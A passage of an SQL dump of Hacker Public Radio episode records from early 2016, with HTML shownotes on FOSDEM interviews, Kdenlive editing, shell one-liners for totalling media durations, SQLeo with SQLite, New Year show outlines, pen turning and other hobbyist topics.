for initial hardware bringup and development. barebox is highly configurable to be suitable as a full-featured development binary as well as for lean production systems. Just like busybox is the Swiss Army Knife for embedded Linux, barebox is the Swiss Army Knife for bare metal, hence the name.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Alexander Aring</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://avatars0.githubusercontent.com/u/232518?v=3&s=400\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1960.ogg#t=5414.310000,6126.398967\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1960.mp3#t=5414.310000,6126.398967\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.pengutronix.de/software/ptxdist/index_en.html\">https://www.pengutronix.de/software/ptxdist/index_en.html</a></li>\r\n<li>Project Website: <a href=\"https://www.barebox.org/\">https://www.barebox.org/</a></li>\r\n<li>email: <a href=\"mailto:aar.nospam@nospam.pengutronix.de\">aar.nospam@nospam.pengutronix.de</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/117647873289646969223\">https://plus.google.com/117647873289646969223</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Barebox\">https://en.wikipedia.org/wiki/Barebox</a></li>\r\n<li>GitHub: <a href=\"https://github.com/alexaring\">https://github.com/alexaring</a></li>\r\n</ul>\r\n<h2 id=\"JavaCard\" >JavaCard Pro</h2>\r\n\r\n<p><img alt=\"photo\" height=\"400\" src=\"https://hackerpublicradio.org/eps/fosdem2016/JavaCard_Pro1.jpg\"/></p>\r\n<blockquote cite=\"https://en.wikipedia.org/wiki/Java_Card_OpenPlatform\">\r\nJava Card OpenPlatform (JCOP) is a smart card operating system for the Java Card platform developed by IBM Zürich Research Laboratory. On 31 January 2006 the development and support responsibilities transferred to the IBM Smart Card Technology team in Böblingen, Germany. Since July 2007 support and development activities for the JCOP operating system on NXP / Philips silicon are serviced by NXP Semiconductors.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Martin Paljak</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrinknp_400_400/p/2/005/050/0cc/2a25952.jpg\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1960.ogg#t=6126.398967,6646.351878\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1960.mp3#t=6126.398967,6646.351878\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://javacard.pro/\">https://javacard.pro/</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/martinpaljak\">@martinpaljak</a></li>\r\n<li>email: <a href=\"martin.nospam@nospam.martinpaljak.net\">martin.nospam@nospam.martinpaljak.net</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Java_Card_OpenPlatform\">https://en.wikipedia.org/wiki/Java_Card_OpenPlatform</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/in/martinpaljak\">https://www.linkedin.com/in/martinpaljak</a></li>\r\n<li>GitHub: <a href=\"https://github.com/martinpaljak\">https://github.com/martinpaljak</a></li>\r\n<li>Skype: <a href=\"skype:martinpaljak?add\">martinpaljak</a></li>\r\n</ul>\r\n<h2 id=\"Knitting\" >Knitting</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://images4.ravelrycache.com/uploads/jewelandarlin/302521746/equal4_small2.JPG\"/></p>\r\n<h3>Listen to the interview with Siobhån Cottell</h3>\r\n\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1960.ogg#t=6646.351878,6849.339889\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1960.mp3#t=6646.351878,6849.339889\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://www.ravelry.com/patterns/library/equal\">https://www.ravelry.com/patterns/library/equal</a></li>\r\n<li><a href=\"https://www.ravelry.com\">https://www.ravelry.com</a></li>\r\n<li><a href=\"www.knittinghelp.com\">www.knittinghelp.com</a></li>\r\n<li>email: <a href=\"mailto:jewelandarlin.nospam@nospam.gmail.com\">jewelandarlin.nospam@nospam.gmail.com</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Knitting\">https://en.wikipedia.org/wiki/Knitting</a></li>\r\n</ul>\r\n<h2 id=\"Fenster\" >Music By Fenster</h2>\r\n\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1960.ogg#t=6849.339889,7027.487587\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1960.mp3#t=6849.339889,7027.487587\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>SoundCloud: <a href=\"https://soundcloud.com/lapsusone/fenster-free-software-song\">https://soundcloud.com/lapsusone/fenster-free-software-song</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Free_Software_Song\">https://en.wikipedia.org/wiki/Free_Software_Song</a></li>\r\n<li>Official: <a href=\"https://www.gnu.org/music/free-software-song.html\">https://www.gnu.org/music/free-software-song.html</a></li>\r\n<li>Remix: <a href=\"https://freesoft.potlatch20.net/\">https://freesoft.potlatch20.net/</a></li>\r\n<li>RMS sings: <a href=\"https://www.youtube.com/watch?v=1BH7poMtPVU\">https://www.youtube.com/watch?v=1BH7poMtPVU</a></li>\r\n<li>GNU: <a href=\"https://audio-video.gnu.org/audio\">https://audio-video.gnu.org/audio</a></li>\r\n</ul>\r\n<pre>\r\nTrack name : Free Software Song\r\nPerformer : Fenster\r\nRecorded date : 2002\r\nCopyright : Copyright (C) 2002, \r\nFenster LLC. Verbatim copying of this entire recording is permitted in any medium, \r\nprovided this notice is preserved. \r\nPerformers: \r\nPaul Robinson (vocals), \r\nRoman Kravec (guitar), \r\nEd D\'Angelo (bass), \r\nDave Newman (drums), \r\nBrian Yarbrough (trumpet), \r\nTony Moore (trumpet). \r\n</pre>\r\n',30,78,0,'CC-BY-SA','FOSDEM, FreeBSD, Matrix, Brainduino, Butterknife, pyhurdy, Coreboot, OpenEmbedded, PicoTCP, PTXdist, JavaCardPro, Knitting',0,0,1),
(1950,'2016-01-22','Kdenlive Part 2: Advanced Editing Technique',1057,'We discuss advanced editing techniques and review the tools you\'ll be using as a video editor.','<p>\r\nHello again HPR listeners this is Geddes back with Part  2 in the series covering the video editing application KdenLive.\r\n</p>\r\n<p>\r\nLast time in part one we looked at Installing, First launch, Your workspace, Importing footage, Three-point editing, and lastly The basic tools. <br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=1925\">https://hackerpublicradio.org/eps.php?id=1925</a>\r\n</p>\r\n<p>\r\nThis time round we’ll be looking at advanced editing technique and Part 2 covers the following topics:  \r\n</p>\r\n<ul>\r\n<li>A Brief History of the Editing Workflow</li>\r\n<li>Editing in the Timeline,</li>\r\n<li>Audio Splits and Grouping Clips, </li>\r\n<li>Basic Navigation in the Timeline, </li>\r\n<li>Notes on Video Formats.  </li>\r\n</ul>\r\n<p>\r\nHere’s the link to the original article.<br />\r\n<a href=\"https://opensource.com/life/11/11/advanced-editing-kdenlive\">https://opensource.com/life/11/11/advanced-editing-kdenlive</a>\r\n</p>',310,0,0,'CC-BY-SA','video editing,Kdenlive',0,0,1),
(1952,'2016-01-26','Time now Ladies and Gents',1860,'How to get the total duration of a lot of media files.','<p>In the show \"<a href=\"https://hackerpublicradio.org/eps.php?id=1943\">hpr1943 :: HPR AudioBook Club 11.5 - Interview with David Collins-Rivera</a>\" <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=128\">pokey</a> asked if there was a way to get the duration for media. The following three options springs to mind immediately.</p>\r\n<p>The first option is <a href=\"https://gitlab.anhonesthost.com/davmo/fix_tags\">fix_tags</a> and was written by our own <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a>.</p>\r\n<pre><code>$ date --utc --date=\"@$(echo $(fix_tags *mp3 *ogg 2&gt;/dev/null | \\\r\nawk -F \'\\\\(|\\\\)\' \'/length/ {print $2}\' | \\\r\nsed \'s/ sec//g\' ) | \\\r\nsed \'s/ /+/g\' | bc )\"  +\"%T\"\r\n03:09:49\r\n</code></pre>\r\n<p>Next up is <a href=\"https://mediaarea.net/en/MediaInfo\">mediainfo</a> which provides a lot of information on media files.</p>\r\n<pre><code>$ date -ud @$(echo $(mediainfo --full --Output=XML *mp3 *ogg | \\\r\nxmlstarlet sel -T -t -m \"Mediainfo/File/track[@type=\'Audio\']/Duration[1]\" -v \".\" -n - | \\\r\nsed \'s/.\\{3\\}$//\') | \\\r\nsed \'s/ /+/g\' | bc)  +\"%T\"\r\n03:09:49\r\n</code></pre>\r\n<p>The last option is to use <a href=\"https://ffmpeg.org/ffprobe.html\">ffprobe</a> from the ffmpeg team.</p>\r\n<pre><code>$ date -ud @$(echo $(for i in *mp3 *ogg;\\\r\ndo  \\date -ud 1970-01-01T$(ffprobe -i $i 2&gt;&amp;1 | \\\r\ngrep Duration | awk \'{print $2}\'| \\\r\nsed \'s/,//g\' ) +%s;done) | \\\r\nsed \'s/ /+/g\' | bc)  +\"%T\"\r\n03:09:49\r\n</code></pre>\r\n<p>For complete shownote please visit <a href=\"https://hackerpublicradio.org/eps/hpr1952.html\">https://hackerpublicradio.org/eps/hpr1952.html</a></p>\r\n',30,42,0,'CC-BY-SA','fix_tags,ffprobe,ffmpeg,bc,sed,awk,grep,time,iso8601,date,mediainfo,xmlstarlet',0,0,1),
(1965,'2016-02-12','Adding SQLite as a datasource to SQLeo',601,'Using the graphical query builders from SQLeo with SQLite','<p>I have been looking for a tool that will graphically and programmatically track identifiers as they pass through systems. I could have done this in Inkscape after following the excellent tutorials on <a href=\"https://screencasters.heathenx.org/\" target=\"_blank\">https://screencasters.heathenx.org/</a>, however I also wanted to be able to describe the relationships programmatically.</p>\r\n<p>This got me to thinking about <em>graphical query builders</em> for databases. The idea is to show each system as a table block and then draw lines between them to show how \"Field_X\" in \"System_A\" will map to \"Field_Y\" in \"System_B\". Many of the proprietary and some free database solutions allow this type of view. However I also want to easily package the entire thing up, so that someone else could access it without needing to pay for or install any specialized software. That limited the choice of database to <a href=\"https://www.sqlite.org/\" target=\"_blank\">SQLite</a>, which is small, supported on many platforms and is released into the Public Domain.\r\n<blockquote>SQLite is an in-process library that implements a self-contained, serverless, zero-configuration, transactional SQL database engine. The code for SQLite is in the public domain and is thus free for use for any purpose, commercial or private. SQLite is the most widely deployed database in the world with more applications than we can count, including several high-profile projects.</blockquote>\r\nPlease follow the instructions on the SQLite site for information on how you can install it on your system. For me on Fedora it\'s simple to install via dnf/yum. You might also want to install some GUI managers if that\'s your thing.\r\n<pre>dnf install sqlite sqlitebrowser sqliteman\r\n</pre>\r\nI created a small database for demonstration purposes, consisting of two tables and one field in each.</p>\r\n<p>Next step is to download <a href=\"https://sqleo.sourceforge.net/index.html\" target=\"_blank\">SQLeo Visual Query Builder</a> which has support for a graphical query builder.\r\n<blockquote>A powerful SQL tool to transform or reverse complex queries (generated by OBIEE, Microstrategy, Cognos, Hyperion, Pentaho ...) into diagrams to ease visualization and analysis. A graphical query builder that permits to create complex SQL queries easily. The GUI with multi-connections supports virtually all JDBC drivers, including ODBC bridge, Oracle, MySQL, PostgreSQL, Firebird, HSQLDB, H2, CsvJdbc, SQLite. And top of that, everything is open-source!</blockquote>\r\nSQLeo is a Java Tool and there is a limited version available on the web site which is limited to 3 tables per graph and 100 rows. Now as the program is released under the GPLv2.0, you could download the code and remove the restrictions. You can also support the project to the tune of <a href=\"https://sqleo.sourceforge.net/support.htm\" target=\"_blank\">€10</a> and you will get the full version ready to rock.</p>\r\n<p>Unzip the file and enter the newly created directory, and run the program as follows:\r\n<pre>java -Dfile.encoding=UTF-8 -jar SQLeoVQB.jar\r\n</pre>\r\nOne slightly confusing thing, and the reason for this post, is that I could not find support for SQLite listed in the list of databases to connect to. A quick search on the support forum and I found the question \"<a href=\"https://sourceforge.net/p/sqleo/discussion/general/thread/462168e0/\" target=\"_blank\">Connection to SQLite DB</a>\". I found the answer a bit cryptic until I read the manual related to <a href=\"https://sqleo.sourceforge.net/guide/index.html#_Toc327875410\" target=\"_blank\">JDBC Drivers</a>, which told me how to add the sqlite library.</p>\r\n<p>SQLeo uses a standard Java sqlite library that is released under the Apache Software License, Version 2.0. You can download it from the <a href=\"https://mvnrepository.com/artifact/org.xerial/sqlite-jdbc\" target=\"_blank\">SQLite JDBC MVNRepository</a> and save it into the same directory as SQLeo.</p>\r\n<p>Right Click in the Metadata explorer window and select <em>new driver.</em></p>\r\n<p>For step by step instructions please see <a href=\"https://hackerpublicradio.org/eps/hpr1965.html\">https://hackerpublicradio.org/eps/hpr1965.html</a></p>\r\n',30,0,0,'CC-BY-SA','SQLite, JDBC, SQLeo',0,0,1),
(1961,'2016-02-08','2015-2016 HPR New Years Show Episode 1',9946,'Education, Podcasts, Trains and Bikes','<p>HPR NEW YEARS EVE SHOW EPISODE: 1</p>\r\n<ul>\r\n<li><p>FiftyOneFifty and Thaj Sara discuss modern education</p></li>\r\n<li><p>Ken Fallon teaches us how to publish a show</p></li>\r\n<li><p>Talking about podcasts and radio shows we listen to <a href=\"https://hackerpublicradio.org/series.php?id=75\" class=\"uri\">https://hackerpublicradio.org/series.php?id=75</a></p></li>\r\n<li>Other shows:\r\n<ul>\r\n<li><p>Thaj\'s Podcast - <a href=\"https://openedtechpodcast.com/\" class=\"uri\">https://openedtechpodcast.com/</a></p></li>\r\n<li><p>WXPN <a href=\"https://xpn.org/\" class=\"uri\">https://xpn.org/</a></p></li>\r\n<li><p>Art Bell: Midnight in the Desert <a href=\"https://midnightinthedesert.com/\" class=\"uri\">https://midnightinthedesert.com/</a></p></li>\r\n<li><p>The Cerebral Rift #00radio <a href=\"https://www.cerebralrift.org/oo-radio-2/\" class=\"uri\">https://www.cerebralrift.org/oo-radio-2/</a></p></li>\r\n</ul></li>\r\n<li><p>Television and movies today....get off my lawn</p></li>\r\n<li><p>handsome_pirate model trains: 2 foot gauge HO:</p></li>\r\n</ul>\r\n<p><a href=\"https://photos.jdulaney.com/train/models/hon30/GEDC0157.JPG\" class=\"uri\">https://photos.jdulaney.com/train/models/hon30/GEDC0157.JPG</a></p>\r\n<p><a href=\"https://photos.jdulaney.com/train/models/hon30/GEDC0158.JPG\" class=\"uri\">https://photos.jdulaney.com/train/models/hon30/GEDC0158.JPG</a> Standard gauge N scale:</p>\r\n<p><a href=\"https://photos.jdulaney.com/train/models/n/GEDC1995.JPG\" class=\"uri\">https://photos.jdulaney.com/train/models/n/GEDC1995.JPG</a></p>\r\n<p><a href=\"https://photos.jdulaney.com/train/models/n/GEDC0145.JPG\" class=\"uri\">https://photos.jdulaney.com/train/models/n/GEDC0145.JPG</a></p>\r\n<p><a href=\"https://photos.jdulaney.com/train/models/n/GEDC0137.JPG\" class=\"uri\">https://photos.jdulaney.com/train/models/n/GEDC0137.JPG</a></p>\r\n<p><a href=\"https://photos.jdulaney.com/train/models/n/GEDC0013.JPG\" class=\"uri\">https://photos.jdulaney.com/train/models/n/GEDC0013.JPG</a></p>\r\n<p><a href=\"https://photos.jdulaney.com/train/models/n/GEDC0010.JPG\" class=\"uri\">https://photos.jdulaney.com/train/models/n/GEDC0010.JPG</a> 3D printed N scale:</p>\r\n<p><a href=\"https://photos.jdulaney.com/train/models/n/3d_printed_lima_0.jpg\" class=\"uri\">https://photos.jdulaney.com/train/models/n/3d_printed_lima_0.jpg</a></p>\r\n<p><a href=\"https://photos.jdulaney.com/train/models/n/3d_printed_lima_1.jpg\" class=\"uri\">https://photos.jdulaney.com/train/models/n/3d_printed_lima_1.jpg</a></p>\r\n<ul>\r\n<li>My Recumbent bike episode <a href=\"https://hackerpublicradio.org/eps.php?id=1282\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1282</a></li>\r\n</ul>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/series.php?id=75\" class=\"uri\">https://hackerpublicradio.org/series.php?id=75</a></li>\r\n<li><a href=\"https://openedtechpodcast.com/\" class=\"uri\">https://openedtechpodcast.com/</a></li>\r\n<li><a href=\"https://xpn.org/\" class=\"uri\">https://xpn.org/</a></li>\r\n<li><a href=\"https://midnightinthedesert.com/\" class=\"uri\">https://midnightinthedesert.com/</a></li>\r\n<li><a href=\"https://www.cerebralrift.org/oo-radio-2/\" class=\"uri\">https://www.cerebralrift.org/oo-radio-2/</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1282\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1282</a></li>\r\n</ul>\r\n',159,121,1,'CC-BY-SA','New Year,2016',0,0,1),
(1962,'2016-02-09','2015-2016 HPR New Years Show Episode 2',12011,'distros, Wearable, distros, RIP Ian Murdock, Chromebooks, Samsung, WW1, Libre Planet, TTS, and more','<p>HPR NEW YEARS EVE SHOW EPISODE: 2</p>\r\n<ul>\r\n<li><p>Talk on Linux distros</p></li>\r\n<li><p>Wearable computing</p></li>\r\n<li><p>qtile <a href=\"https://www.qtile.org\" class=\"uri\">https://www.qtile.org</a></p></li>\r\n<li><p>Ian Murdock <a href=\"https://arstechnica.com/information-technology/2015/12/ian-murdock-father-of-debian-dead-at-42/\" class=\"uri\">https://arstechnica.com/information-technology/2015/12/ian-murdock-father-of-debian-dead-at-42/</a></p></li>\r\n<li><p>Chromebooks!</p></li>\r\n<li><p>Older Fedora image for 11&quot; Samsung ARM Chromebook: <a href=\"https://jdulaney.fedorapeople.org/chromebook-kvm.img.xz\" class=\"uri\">https://jdulaney.fedorapeople.org/chromebook-kvm.img.xz</a></p></li>\r\n<li><p>Samsung makes tanks</p></li>\r\n<li><p>WWI shipboard communications <a href=\"https://dreadnoughtproject.org/tfs/index.php/Main_Page\" class=\"uri\">https://dreadnoughtproject.org/tfs/index.php/Main_Page</a></p></li>\r\n<li><p>Libre Planet <a href=\"https://libreplanet.org/wiki/LibrePlanet:Conference\" class=\"uri\">https://libreplanet.org/wiki/LibrePlanet:Conference</a></p></li>\r\n<li><p>The current state of TTS</p></li>\r\n<li><p>Travel</p></li>\r\n<li><p>Linux and open source conferences</p></li>\r\n<li><p>What crowd funded devices did we back?</p></li>\r\n<li><p>Hacking media devices: <a href=\"https://kodi.wiki/view/HOW-TO:Install_Kodi_on_Fire_TV\" class=\"uri\">https://kodi.wiki/view/HOW-TO:Install_Kodi_on_Fire_TV</a></p></li>\r\n<li><p>Comics based TV shows &amp; movies</p></li>\r\n<li><p>StarWars (No spoilers)</p></li>\r\n</ul>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.qtile.org\" class=\"uri\">https://www.qtile.org</a></li>\r\n<li><a href=\"https://arstechnica.com/information-technology/2015/12/ian-murdock-father-of-debian-dead-at-42/\" class=\"uri\">https://arstechnica.com/information-technology/2015/12/ian-murdock-father-of-debian-dead-at-42/</a></li>\r\n<li><a href=\"https://jdulaney.fedorapeople.org/chromebook-kvm.img.xz\" class=\"uri\">https://jdulaney.fedorapeople.org/chromebook-kvm.img.xz</a></li>\r\n<li><a href=\"https://dreadnoughtproject.org/tfs/index.php/Main_Page\" class=\"uri\">https://dreadnoughtproject.org/tfs/index.php/Main_Page</a></li>\r\n<li><a href=\"https://libreplanet.org/wiki/LibrePlanet:Conference\" class=\"uri\">https://libreplanet.org/wiki/LibrePlanet:Conference</a></li>\r\n<li><a href=\"https://kodi.wiki/view/HOW-TO:Install_Kodi_on_Fire_TV\" class=\"uri\">https://kodi.wiki/view/HOW-TO:Install_Kodi_on_Fire_TV</a></li>\r\n</ul>',159,121,1,'CC-BY-SA','New Year,2016',0,0,1),
(1963,'2016-02-10','2015-2016 HPR New Years Show Episode 3',10762,'Dyson Sphere, Star Wars, spammers, Tizen, Kevie, TV, Security, Single board PC\'s in general','<p>HPR NEW YEARS EVE SHOW EPISODE: 3</p>\r\n<ul>\r\n<li><p>Is Game of Thrones a Dyson Sphere?</p></li>\r\n<li><p>More Star Wars</p></li>\r\n<li><p>Punking tech support spammers</p></li>\r\n<li><p>Microsoft fail, Tizen phone</p></li>\r\n<li><p>Kevie\'s blog: <a href=\"https://kmacphail.blogspot.co.uk/2013/04/ccjam-community-podcast.html\" class=\"uri\">https://kmacphail.blogspot.co.uk/2013/04/ccjam-community-podcast.html</a></p></li>\r\n<li><p>Fancy TVs</p></li>\r\n<li><p>Security</p></li>\r\n<li><p>Single board PC\'s in general</p></li>\r\n<li><p>More Ian Murdock</p></li>\r\n<li><p>Linux distros</p></li>\r\n</ul>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://kmacphail.blogspot.co.uk/2013/04/ccjam-community-podcast.html\" class=\"uri\">https://kmacphail.blogspot.co.uk/2013/04/ccjam-community-podcast.html</a></li>\r\n</ul>\r\n',159,121,1,'CC-BY-SA','New Year,2016',0,0,1),
(1964,'2016-02-11','2015-2016 HPR New Years Show Episode 4',11108,'Cheap computers, ARM, Audio Book Club, Lights, Living, Orlando, Etching, Pronunciation, Pranks','<p>HPR NEW YEARS EVE SHOW EPISODE: 4</p>\r\n<ul>\r\n<li><p>Can you buy a NEW CHEAP computer that can run GNU Linux?</p></li>\r\n<li><p>Is ARM the future</p></li>\r\n<li><p>The HPR audio book club</p></li>\r\n<li><p>After hours fun at Linux conferences</p></li>\r\n<li><p>Christmas light displays</p></li>\r\n<li><p>Southern living and booze</p></li>\r\n<li><p>Visit Orlando</p></li>\r\n<li><p>Fun with etching</p></li>\r\n<li><p>Pronunciation of town names</p></li>\r\n<li><p>Pranks</p></li>\r\n<li><p>Naval warfare</p></li>\r\n<li><p>Some of TwoD\'s background story</p></li>\r\n<li><p>Scanning photos and kids\' art</p></li>\r\n<li><p>Strange Steam badge: <a href=\"https://gj.reddit.com/r/&#39;/comments/3yyju8/how_to_get_the_red_herring_steam_badge_holiday/\" class=\"uri\">https://gj.reddit.com/r/\'/comments/3yyju8/how_to_get_the_red_herring_steam_badge_holiday/</a></p></li>\r\n<li><p>Happy 2016 to everyone</p></li>\r\n</ul>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://gj.reddit.com/r/&#39;/comments/3yyju8/how_to_get_the_red_herring_steam_badge_holiday/\" class=\"uri\">https://gj.reddit.com/r/\'/comments/3yyju8/how_to_get_the_red_herring_steam_badge_holiday/</a></li>\r\n</ul>\r\n',159,121,1,'CC-BY-SA','New Year,2016',0,0,1),
(1954,'2016-01-28','Grandpa Shows Us How to Turn Custom Pens',4014,'Live action audio of my dad teaching us how to turn pens on a mini lathe','<h2>Grandpa Shows Us How to Turn Custom Pens on a Lathe</h2>\r\n\r\n<p>Warning: this show is kind of long, even though I cut out about half of the original raw audio. While my parents were visiting during the holidays, my dad taught me, the wife, and the kids how to turn pens on his mini lathe. We made a few mechanical pencils, a pen and I also made a giant workshop pencil. Click on the image below to look at the gallery of photos on Flickr. </p>\r\n\r\n<p><a data-flickr-embed=\"true\"  href=\"https://www.flickr.com/photos/137675441@N05/albums/72157662263915159\" title=\"Pen Turning\"><img src=\"https://farm6.staticflickr.com/5660/23768140150_0d10ecd6db_z.jpg\" width=\"640\" height=\"360\" alt=\"Pen Turning\"></a><script async src=\"https://embedr.flickr.com/assets/client-code.js\" charset=\"utf-8\"></script></p>\r\n\r\n<p>[my wife\'s lovely mechanical pencil]</p>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n	<li><a href=\"https://flic.kr/s/aHskqVXsCx\">Photo Slideshow of our pen making</a></li>\r\n	<li><a href=\"https://www.pennstateind.com/\">Penn State Industries | Pen Turning | Pen Kits</a></li>\r\n	<li>My dad\'s lathe: <a href=\"https://www.cpojettools.com/jet-708375vs-10-in--x-14-in--1-2-hp-variable-speed-indexing-mini-lathe/jetn708375vs,default,pd.html?start=4&q=1014\">JET JML-1014VSI 10 in. x 14 in. 1/2 HP Variable Speed Indexing Mini Lathe</a></li>\r\n	<li><a href=\"https://www.pennstateind.com/store/PENPRESS4.html\">Spring Loaded Heavy-Duty Pen Assembly Press</a></li>\r\n	<li>My Cousin\'s online pen store: <a href=\"https://robertkulpcreations.storenvy.com/\">Robert Kulp Creations</a></li>\r\n</ul>\r\n\r\n<h2>Credits</h2>\r\n\r\n<ul>\r\n	<li>Music bumpers are from Kimiko Ishizaka\'s <em>The Open Goldberg Variations</em>: <a href=\"https://www.opengoldbergvariations.org/\">https://www.opengoldbergvariations.org/</a>, used by permission of their <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">CC0 1.0 Universal (CC0 1.0) Public Domain Dedication license</a>.</li>\r\n</ul>\r\n',238,0,1,'CC-BY-SA','DIY, pens, woodworking, lathe, writing instruments',0,0,1),
(1953,'2016-01-27','An Interview with David Willson of the Software Freedom School',3286,'Starting with an out take, David Whitman talks to David Willson about Software Freedom School.','<h2 id=\"david-whitman-interviews-david-willson-of-software-freedom-school\">David Whitman interviews David Willson of Software Freedom School</h2>\r\n<ul>\r\n<li>David Willson, founder of Software Freedom School, Denver, Colorado\r\n<ul>\r\n<li>Email Contact: dlwillson<span class=\"citation\" data-cites=\"thegeek.nu\">@thegeek.nu</span></li>\r\n</ul></li>\r\n<li>SFS Website: <a href=\"https://www.sofree.us\" class=\"uri\">https://www.sofree.us</a> has updates for 6 months in advance</li>\r\n<li>Linux Camp targets Linux Foundation Training <a href=\"https://training.linuxfoundation.org/\" class=\"uri\">https://training.linuxfoundation.org/</a></li>\r\n<li>Oct 21, 2013 HPR 1361 - SFS and Linux Camp <a href=\"https://hackerpublicradio.org/eps.php?id=1361\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1361</a></li>\r\n<li><a href=\"https://zimbra.thegeek.nu/home/dlwillson@thegeek.nu/Shared/SFS/Linux%20Camp%202013/SFS%20Linux%20Camp.odt\">https://zimbra.thegeek.nu/home/dlwillson@thegeek.nu/Shared/SFS/Linux%20Camp%202013/SFS%20Linux%20Camp.odt</a></li>\r\n<li>SFS Method = Show and tell, then students work in pairs re-teaching the subject to each other.</li>\r\n<li>Stuff is at <a href=\"https://www.gitlab.com/sofrees\" class=\"uri\">https://www.gitlab.com/sofrees</a></li>\r\n<li>Google Plus Community can be found here: <a href=\"https://plus.google.com/u/0/+SofreeUs\" class=\"uri\">https://plus.google.com/u/0/+SofreeUs</a></li>\r\n<li>Find SFS at Twitter, Meetup, and Facebook</li>\r\n<li>Mail list link and IRC link on <a href=\"https://www.sofree.us\" class=\"uri\">https://www.sofree.us</a></li>\r\n</ul>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.sofree.us\" class=\"uri\">https://www.sofree.us</a></li>\r\n<li><a href=\"https://training.linuxfoundation.org/\" class=\"uri\">https://training.linuxfoundation.org/</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1361\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1361</a></li>\r\n<li><a href=\"https://zimbra.thegeek.nu/home/dlwillson@thegeek.nu/Shared/SFS/Linux%20Camp%202013/SFS%20Linux%20Camp.odt\">https://zimbra.thegeek.nu/home/dlwillson@thegeek.nu/Shared/SFS/Linux%20Camp%202013/SFS%20Linux%20Camp.odt</a></li>\r\n<li><a href=\"https://www.gitlab.com/sofrees\" class=\"uri\">https://www.gitlab.com/sofrees</a></li>\r\n<li><a href=\"https://plus.google.com/u/0/+SofreeUs\" class=\"uri\">https://plus.google.com/u/0/+SofreeUs</a></li>\r\n<li><a href=\"https://www.sofree.us\" class=\"uri\">https://www.sofree.us</a></li>\r\n</ul>\r\n',209,78,1,'CC-BY-SA','Learning, Linux, School, Freedom, SFS, Software Freedom',0,0,1),
(1966,'2016-02-15','Whats in my bag',420,'I talk about what I have in my bag today','<p>I describe the contents of my timbuk2 messenger bag today</p>\r\n<ol type=\"1\">\r\n<li>Sony Vaio VPCEB42FM 6 pounds weight</li>\r\n<li>Lenovo x201 3 lbs</li>\r\n<li>iPad 3</li>\r\n<li>Galaxy Tab 3 lite</li>\r\n<li>charging cable for android phone</li>\r\n<li>charging cable for iPad 3</li>\r\n<li>Usb wall adapter to use with either iPad 3 or phone</li>\r\n<li>Ipod classic 6</li>\r\n<li>6 usb drives ranging in size from 4 gb to 26 gb but mostly 8 or 16\'s</li>\r\n<li>screen cleaning cloth</li>\r\n<li>mini phillips head screwdriver</li>\r\n<li>Charging cable for laptop (has multiple heads that can be switched around to use for a variety of laptops)</li>\r\n<li>One thing that I forgot is to mention is a usb mouse.</li>\r\n</ol>\r\n<p>Also I got the bag in January 2014</p>',297,23,1,'CC-BY-SA','timbuk2 bag,x201,sony vaio,laptops',0,0,1),
(1967,'2016-02-16','How I saw the Linux Light at the end of the Windows tunnel',859,'My personal story of discovery of Linux','<p>\r\nJust a regular story of a Linux power user, or how I loved computers, then I hated computers, then I loved computers again, and then I moved to a love/hate kind of thing...\r\n</p>',323,29,0,'CC-BY-SA','Linux, Beginners, Computing history, Gaming',0,0,1),
